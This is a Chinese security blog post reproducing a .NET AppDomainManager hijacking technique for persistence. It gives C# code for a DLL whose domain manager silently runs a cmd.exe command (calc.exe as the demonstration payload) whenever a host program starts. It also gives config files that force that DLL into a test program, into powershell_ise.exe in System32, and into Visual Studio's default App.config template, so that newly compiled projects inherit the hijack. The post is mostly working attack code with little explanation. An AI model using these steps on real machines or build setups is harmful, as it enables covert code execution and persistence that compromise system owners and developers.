.NET程序劫持

  1. 0x00前言
  2. 0x01实验过程
  3. 参考链接

0x00前言

翻了翻收集的资源,打算学习一波。翻到三好学生的.NET劫持操作,复现一波

0x01实验过程

创建一个简单的C#程序

using System;

public class Program
{
    public static void Main()
    {
        Console.WriteLine("Inside the App");
    }
}

输出如下

创建一个名为hijack.dll的dll

using System;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
using System.Dynamic;

namespace hijack
{
    public class cmd {
        private static string CmdPath = @"C:\Windows\System32\cmd.exe";
        /// <summary>
        /// 执行cmd命令 返回cmd窗口显示的信息
        /// 多命令请使用批处理命令连接符:
        /// <![CDATA[
        /// &:同时执行两个命令
        /// |:将上一个命令的输出,作为下一个命令的输入
        /// &&:当&&前的命令成功时,才执行&&后的命令
        /// ||:当||前的命令失败时,才执行||后的命令]]>
        /// </summary>
        /// <param name="cmd">执行的命令</param>
        public string RunCmd(string cmd)
        {
            cmd = cmd.Trim().TrimEnd('&') + "&exit";//说明:不管命令是否成功均执行exit命令,否则当调用ReadToEnd()方法时,会处于假死状态
            using (Process p = new Process())
            {
                p.StartInfo.FileName = CmdPath;
                p.StartInfo.UseShellExecute = false;        //是否使用操作系统shell启动
                p.StartInfo.RedirectStandardInput = true;   //接受来自调用程序的输入信息
                p.StartInfo.RedirectStandardOutput = true;  //由调用程序获取输出信息
                p.StartInfo.RedirectStandardError = true;   //重定向标准错误输出
                p.StartInfo.CreateNoWindow = true;          //不显示程序窗口
                p.Start();//启动程序

                //向cmd窗口写入命令
                p.StandardInput.WriteLine(cmd);
                p.StandardInput.AutoFlush = true;

                //获取cmd窗口的输出信息
                string output = p.StandardOutput.ReadToEnd();
                p.WaitForExit();//等待程序执行完退出进程
                p.Close();

                return output;
            }
        }
    }
    public class InjectedDomainManager : AppDomainManager
    {
        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
        {
            base.InitializeNewDomain(appDomainInfo);
            cmd f = new cmd();
            f.RunCmd("calc.exe");
        }
    }
}

修改yuan.exe.config为如下

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
    </startup>
     <runtime>
      <appDomainManagerType value="hijack.InjectedDomainManager" />
      <appDomainManagerAssembly
         value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
    </runtime>
</configuration>

之后hijack.dll运行在yuan.exe前面

尝试劫持C:\Windows\system32\WindowsPowerShell\v1.0\powershell_ise.exe
创建powershell_ise.exe.config

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
    </startup>
     <runtime>
      <appDomainManagerType value="hijack.InjectedDomainManager" />
      <appDomainManagerAssembly
         value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
    </runtime>
</configuration>

还有一个操作就是修改Vs创建C#工程时的默认App.config

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
    </startup>
     <runtime>
      <appDomainManagerType value="hijack.InjectedDomainManager" />
      <appDomainManagerAssembly
         value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
    </runtime>
</configuration>

编译的时候exe的config也会跟着改变

参考链接

Use AppDomainManager to maintain persistence – 3gstudent – Good in study, attitude and health


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:.NET程序劫持

本文作者:九世

发布时间:2020-01-13, 21:07:33

最后更新:2020-01-13, 21:47:56

原始链接:http://422926799.github.io/posts/576bc259.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录